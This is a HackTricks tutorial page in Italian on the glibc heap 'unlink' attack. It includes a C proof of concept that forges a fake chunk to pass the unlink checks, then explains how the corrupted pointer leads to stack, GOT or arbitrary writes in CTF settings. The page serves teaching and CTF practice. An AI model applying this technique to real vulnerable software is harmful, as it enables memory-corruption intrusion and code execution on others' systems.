Unlink Attack

Sostieni HackTricks

Informazioni di Base

Quando questo attacco è stato scoperto, permetteva principalmente un WWW (Write What Where), tuttavia, sono stati aggiunti alcuni controlli rendendo la nuova versione dell'attacco più interessante e più complessa e inutile.

Esempio di Codice:

Codice

```c #include #include #include #include

// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work

struct chunk_structure { size_t prev_size; size_t size; struct chunk_structure *fd; struct chunk_structure *bk; char buf[10]; // padding };

int main() { unsigned long long *chunk1, *chunk2; struct chunk_structure *fake_chunk, *chunk2_hdr; char data[20];

// First grab two chunks (non fast) chunk1 = malloc(0x8000); chunk2 = malloc(0x8000); printf("Stack pointer to chunk1: %p\n", &chunk1); printf("Chunk1: %p\n", chunk1); printf("Chunk2: %p\n", chunk2);

// Assuming attacker has control over chunk1's contents // Overflow the heap, override chunk2's header

// First forge a fake chunk starting at chunk1 // Need to setup fd and bk pointers to pass the unlink security check fake_chunk = (struct chunk_structure *)chunk1; fake_chunk->size = 0x8000; fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P

// Next modify the header of chunk2 to pass all security checks chunk2_hdr = (struct chunk_structure *)(chunk2 - 2); chunk2_hdr->prev_size = 0x8000; // chunk1's data region size chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit

// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked' // This results in chunk1 pointer pointing to chunk1 - 3 // i.e. chunk1[3] now contains chunk1 itself. // We then make chunk1 point to some victim's data free(chunk2); printf("Chunk1: %p\n", chunk1); printf("Chunk1[3]: %x\n", chunk1[3]);

chunk1[3] = (unsigned long long)data;

strcpy(data, "Victim's data");

// Overwrite victim's data using chunk1 chunk1[0] = 0x002164656b636168LL;

printf("%s\n", data);

return 0; }

</details>

* L'attacco non funziona se vengono utilizzati i tcaches (dopo la versione 2.26)

### Obiettivo

Questo attacco permette di **cambiare un puntatore a un chunk in modo che punti a 3 indirizzi prima di se stesso**. Se questa nuova posizione (intorno a dove si trovava il puntatore) contiene informazioni interessanti, come altre allocazioni controllabili / stack..., è possibile leggerle/sovrascriverle per causare danni maggiori.

* Se questo puntatore si trovava nello stack, poiché ora punta a 3 indirizzi prima di se stesso e l'utente potenzialmente può leggerlo e modificarlo, sarà possibile estrarre informazioni sensibili dallo stack o addirittura modificare l'indirizzo di ritorno (forse) senza toccare il canary
* Negli esempi di CTF, questo puntatore si trova in un array di puntatori ad altre allocazioni, pertanto, facendolo puntare a 3 indirizzi prima e potendo leggerlo e scriverlo, è possibile fare in modo che gli altri puntatori puntino ad altri indirizzi.\
Poiché potenzialmente l'utente può leggere/scrivere anche le altre allocazioni, può estrarre informazioni o sovrascrivere nuovi indirizzi in posizioni arbitrarie (come nella GOT).

### Requisiti

* Un certo controllo in una memoria (ad esempio, stack) per creare un paio di chunk assegnando valori ad alcuni degli attributi.
* Leak dello stack per impostare i puntatori del chunk falso.

### Attacco

* Ci sono un paio di chunk (chunk1 e chunk2)
* L'attaccante controlla il contenuto di chunk1 e gli header di chunk2.
* In chunk1 l'attaccante crea la struttura di un chunk falso:
* Per aggirare le protezioni, si assicura che il campo `size` sia corretto per evitare l'errore: `corrupted size vs. prev_size while consolidating`
* e i campi `fd` e `bk` del chunk falso puntano dove il puntatore di chunk1 è memorizzato con offset di -3 e -2 rispettivamente in modo che `fake_chunk->fd->bk` e `fake_chunk->bk->fd` puntino alla posizione in memoria (stack) dove si trova l'indirizzo reale di chunk1:

<figure><img src="../../.gitbook/assets/image (1245).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>

* Gli header del chunk2 vengono modificati per indicare che il chunk precedente non è utilizzato e che la dimensione è la dimensione del chunk falso contenuto.
* Quando il secondo chunk viene liberato, allora avviene questo scollegamento del chunk falso:
* `fake_chunk->fd->bk` = `fake_chunk->bk`
* `fake_chunk->bk->fd` = `fake_chunk->fd`
* In precedenza è stato fatto in modo che `fake_chunk->fd->bk` e `fake_chunk->bk->fd` puntassero allo stesso posto (la posizione nello stack dove `chunk1` era memorizzato, quindi era una lista concatenata valida). Poiché **entrambi puntano alla stessa posizione**, solo l'ultimo (`fake_chunk->bk->fd = fake_chunk->fd`) avrà **effetto**.
* Questo sovrascriverà il puntatore a chunk1 nello stack con l'indirizzo (o byte) memorizzato 3 indirizzi prima nello stack.
* Pertanto, se un attaccante potesse controllare nuovamente il contenuto del chunk1, sarà in grado di **scrivere all'interno dello stack**, potendo potenzialmente sovrascrivere l'indirizzo di ritorno saltando il canary e modificare i valori e i puntatori delle variabili locali. Anche modificando nuovamente l'indirizzo di chunk1 memorizzato nello stack in una posizione diversa dove se l'attaccante potesse controllare nuovamente il contenuto di chunk1 sarà in grado di scrivere ovunque.
* Notare che ciò è stato possibile perché gli **indirizzi sono memorizzati nello stack**. Il rischio e lo sfruttamento potrebbero dipendere da **dove sono memorizzati gli indirizzi del chunk falso**.

<figure><img src="../../.gitbook/assets/image (1246).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>

## Riferimenti

* [https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit)
* Anche se sarebbe strano trovare un attacco di unlink persino in un CTF, ecco alcuni writeup in cui è stato utilizzato questo attacco:
* Esempio di CTF: [https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html)
* In questo esempio, invece dello stack c'è un array di indirizzi malloc'ati. L'attacco di unlink viene eseguito per poter allocare un chunk qui, quindi poter controllare i puntatori dell'array di indirizzi malloc'ati. Successivamente, c'è un'altra funzionalità che consente di modificare il contenuto dei chunk in questi indirizzi, il che consente di puntare gli indirizzi alla GOT, modificare gli indirizzi delle funzioni per ottenere leak di libc e RCE.
* Altro esempio di CTF: [https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html)
* Proprio come nel precedente esempio, c'è un array di indirizzi di allocazioni. È possibile eseguire un attacco di unlink per far sì che l'indirizzo della prima allocazione punti a poche posizioni prima dell'inizio dell'array e sovrascrivere questa allocazione nella nuova posizione. Pertanto, è possibile sovrascrivere i puntatori di altre allocazioni per puntare alla GOT di atoi, stamparla per ottenere un leak di libc e quindi sovrascrivere la GOT di atoi con l'indirizzo di un one gadget.
* Esempio di CTF con funzioni malloc e free personalizzate che sfruttano una vulnerabilità molto simile all'attacco di unlink: [https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html)
* C'è un overflow che consente di controllare i puntatori FD e BK del malloc personalizzato che verrà liberato (personalizzato). Inoltre, l'heap ha il bit exec, quindi è possibile estrarre un indirizzo dell'heap e puntare una funzione dalla GOT a un chunk dell'heap con un codice shell per eseguire.

<div data-gb-custom-block data-tag="hint" data-style='success'>

Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Sostieni HackTricks</summary>

* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.

</details>

</div>

Last updated